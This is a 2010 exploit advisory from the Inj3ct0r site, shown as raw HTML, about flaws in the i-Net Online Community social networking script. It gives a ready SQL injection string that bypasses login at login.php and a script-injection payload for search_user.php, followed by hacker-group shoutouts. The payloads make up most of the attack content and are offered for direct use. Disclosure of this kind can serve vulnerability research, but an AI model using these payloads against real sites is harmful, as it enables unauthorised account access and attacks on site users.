i-Net Online Community XSS and Authentication Bypass
Posted on 27 April 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>i-Net Online Community XSS and Authentication Bypass</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================== i-Net Online Community XSS and Authentication Bypass ==================================================== ______________________________________________________________________________ XSS and Authentication bypass in i-Net Online Community site script Vendor:http://www.i-netsolution.com/ _______________________Author:Sid3^effects aKa haRi____________________________ Description : i-Net Online Community site script is an online social networking software that allows you to start your own site just like Myspace, Hi5 and Facebook. Our online community script allow members to connect with people in their personal networks and people can create a new online interactive resource that is based on a trusted network of friends and associates on the internet. This online community website script can be customized and be branded for you. --------------------------------------------------------------------------- * Authentication bypass: The following script has authentication bypass. use ' or 1=1 or ''=' in both login and password. DEMO URL :http://server/kool_kampus/login.php --------------------------------------------------------------------------- * XSS : Attack parameter :'"--><script>alert(0x000872)</script> Demo URL :http://server/kool_kampus/search_user.php --------------------------------------------------------------------------- ShoutZ : ------- ---Indian Cyber warriors--Andhra hackers-- # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-27]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
